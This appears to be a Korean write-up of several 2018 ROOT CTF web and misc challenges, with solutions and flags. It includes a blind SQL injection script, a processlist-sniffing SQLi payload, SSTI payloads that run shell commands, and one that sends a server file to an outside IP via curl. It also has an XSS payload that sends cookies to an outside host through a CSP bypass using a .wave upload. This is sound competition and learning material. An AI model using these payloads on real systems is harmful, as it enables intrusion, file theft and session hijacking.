2018 ROOT CTF Write up
munswings, 아쉽게 4등했다.
Web – Blind man (932pts)
회원가입의 pw부분에서 sqli가 발생하며 인젝션 포인트는 다음과 같다.
insert into user (id, pw) values ('asdf', '{inject point}');
여기서 '),('munsiwoo', (select pw from user x limit 0,1)like'a%
이런식으로 넣는다면
insert into user (id, pw) values ('asdf', ''),('munsiwoo', (select pw from user x limit 0,1)like'a%');
위와 같은 쿼리가 완성되고, munsiwoo라는 계정이 user 테이블에 들어갈 것이다.
여기서 munsiwoo 계정이 비밀번호 1
로 로그인이 된다면 admin의 비번이 a로 시작한다는 것이다.
이걸로 blind sqli 스크립트를 작성해주면 된다.
import requests
import random
# made by munsiwoo
def random_id() :
table = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
random.shuffle(table)
return ''.join(table)
if __name__ == '__main__' :
headers = {
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate, br',
'Accept-Language':'ko,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6',
'Cache-Control':'no-cache',
'Connection':'keep-alive',
'Content-Type':'application/x-www-form-urlencoded',
'Cookie':'PHPSESSID=munxiwu',
'Host':'sdhsroot.kro.kr',
'Origin':'https://sdhsroot.kro.kr',
'Pragma':'no-cache',
'Referer':'https://sdhsroot.kro.kr/Normal_BSQLI/log.php?reg',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'
}
reg_uri = 'https://sdhsroot.kro.kr/Normal_BSQLI/work.php?reg'
log_uri = 'https://sdhsroot.kro.kr/Normal_BSQLI/work.php?log'
reg_data = {'id':'', 'pw':''}
payload = "a'),('{}', (select pw from user x limit 0,1)like'{}%')#"
password = '391415ca14dcb36cd667473fd4d72a69' # this is admin password
for x in range(50) :
for y in 'abcdef0123456789' :
reg_data['id'] = random_id()
reg_data['pw'] = payload.format(reg_data['id'][::-1], password + y)
requests.post(reg_uri, data=reg_data, headers=headers, allow_redirects=False)
log_data = {'id':reg_data['id'][::-1], 'pw':'1'}
r = requests.post(log_uri, data=log_data, headers=headers, allow_redirects=False)
if(r.text.find("Login Success!!") != -1) :
password += y
break
#else :
# print('no : '+y)
print(password)
Web – Secret_chest (50pts)
사이트에 접속하면 검과 박스가 있고, 검을 강화할 수 있는 버튼이 있다.
버튼을 눌러서 강화할 수 있는 레벨은 5~6 정도로 제한이 걸려있다.
하지만 플래그 박스를 열려면 강화 레벨이 10
이여야 한다.
https://sdhsroot.kro.kr/sword/asd.js
에 접속해보면 강화 레벨은
sessionStorage
에 저장되고 결과적으로 개발자 도구를 킨 뒤 아래와 같이 setItem
을
사용해 강화 레벨에 10
을 넣어주고 박스를 누르면 플래그가 나온다.
sessionStorage.setItem("lv", 10);
// flag is FLAG{1!tTle_2sy_3Asy_4l@g}
Web – Normal_SQLI (793pts)
로그인에서 아이디에 sqli
가 가능하다.
문제 설명을 보면 0.8초마다 어드민 비밀번호가 바뀐다고 한다.
나는 설명을 보고 작년 시큐인사이드에서 루비형이 발표한 mitm sqli
가 생각났다.
' union select @a:=0x3a3a union select @tmp:=0x20 union select
benchmark(200000,(@tmp:= ( select Group_concat(info) from information_schema.processlist
where info not like 0x254d49544d5f53514c495f50574e25 or sleep(0)))^(if((@tmp!=0x00)&&(@a
not like concat(0x253a3a,replace(@tmp,0x0a,0x5c5c6e),0x3a3a25)),
@a:=concat(@a,replace(@tmp,0x0a,0x5c6e),0x3a3a),0))) union select @a limit 3,1#
아이디로 위 쿼리를 날려주면 비밀번호가 바뀔 때 로그인 완료
가 뜨며 플래그를 볼 수 있다.
관련 자료는 루비형 블로그 또는 시큐인사이드 2017 발표자료 에서 볼 수 있다.
Web – PinterROOT (979pts)
프로필 수정이나 삭제를 할 때 alert
를 띄우기 위해
https://sdhsroot.kro.kr/PinterROOT/fail/user/수정 또는
https://sdhsroot.kro.kr/PinterROOT/fail/user/삭제 로 접속하는데
여기서 수정, 삭제가 들어가는 곳에서 server side template injection
이 된다.
https://sdhsroot.kro.kr/PinterROOT/fail/user/{{3*3}}
이렇게 접속해보면
<script>alert('user의 9이(가) 실패했습니다.');
location.href='/PinterROOT/';</script>
위와 같이 “9
이(가) 실패했습니다.”라고 뜨는걸 확인할 수 있다.
https://sdhsroot.kro.kr/PinterROOT/fail/user/{{get_flashed_messages.__globals__.os.system(request.args.a)}}?a=curl --data-urlencode `cat /var/www/PinterROOT/db.py` 118.37.183.185:8080
이렇게 해주면 system
함수를 실행시킬 수 있고, 나는 아래의 페이로드로 플래그를 읽어왔다.
https://sdhsroot.kro.kr/PinterROOT/fail/user/{{''.__class__.__mro__[2].__subclasses__()[40](request.args.a).read()}}?a=/var/www/PinterROOT/webtool.py
PinterROOT 부연설명
/var/www/PinterROOT
라는 디렉토리 위치는 system
함수를 통해 ls
로 알아냈고
인코딩 문제로 해당 디렉토리의 파일 리스트가 안보여서 파일 리스트는 /robots.txt
로 알아냈다.
User-agent: * Disallow: /templates/ Disallow: /db.py Disallow: /image_control.py
Disallow: /webtool.py Disallow: /webtool.wsgi
Web – ROOT_Karaoke (957pts)
문제 사이트의 기능은 대충 아래와 같다.
오디오 파일과 설명을 업로드할 수 있고 다른 사람을 친구로 추가하면
내가 업로드한 오디오 파일과 설명을 공유할 수 있다.
그리고 설명 부분에 태그를 넣고 업로드하면 태그가 치환되지 않고 그대로 올라간다.
스크립트를 삽입하면 바로 실행될 것 같지만 아래와 같이 Content-Security-Policy
가 걸려있다.
Content-Security-Policy: script-src 'self' https://sdhsroot.kro.kr/
https://code.jquery.com/ https://cdnjs.cloudflare.com/
https://maxcdn.bootstrapcdn.com/bootstrap/
즉, 특정 스크립트를 삽입한 파일을 업로드하고 해당 파일을 script
태그로 실행시켜야 한다.
설명과 함께 오디오 파일도 업로드할 수 있었기 때문에 오디오 파일을 이용했다.
example
<script src="[audio file]"></script>
하지만 크롬에서는 wav, mp3, ogg
와 같은 오디오 파일을 이용한 스크립트 실행을 막고 있었고
https://ctftime.org/writeup/9987 이 글을 참고해보면 wave
파일만 허용한다고 한다.
따라서 wave
파일에 스크립트를 삽입하고 해당 wave
를 src
로 넣으면 csp bypass
가 가능하다.
------WebKitFormBoundaryCAvyAKyKLRBwIYgA
Content-Disposition: form-data; name="title"
<script src='./uploads/104.wave'></script>
------WebKitFormBoundaryCAvyAKyKLRBwIYgA
Content-Disposition: form-data; name="audio"; filename="asdf.wave"
Content-Type: image/png
location=`http://withphp.com:8080/?${document.cookie}`
------WebKitFormBoundaryCAvyAKyKLRBwIYgA--
참고로 페이로드를 넣기전에 root
라는 계정을 친추해야 봇이 내 글을 읽는다.
Misc – MIC DROP (50pts)
문제 설명에 플래그가 있다.
제 2회 서울디지텍고등학교 청소년 해킹방어대회에 오신 것을 환영합니다!
모든 Flag 형식은 "FLAG{}" 과 같은 형식을 갖추고 있습니다.
FLAG{M1c..Dr0p..M1c..Dr0p..Welc0me_T0_R00T_CTF_2018!!}
Misc – HubGIT (458pts)
git show
하면 플래그가 나온다.
commit cc7611208282c863e4a9c09c821c8db124050898
Author: root <[email protected]>
Date: Fri Dec 21 05:34:10 2018 +0900
FLAGFLAGFLAGFLAGFLAGFLAGFLAGFFFLLL@@@@@@@@GGGG
diff --git a/flag b/flag
new file mode 100644
index 0000000..62548ea
--- /dev/null
+++ b/flag
@@ -0,0 +1 @@
+FLAG{GIT_8rob1em_7h@t_C4n_b3_50lv3d_in_O63_M1nu7e!}
Misc – Encoded_Code (611pts)
Misc – FindMe! (188pts)
HxD로 열면 플래그가 나온다.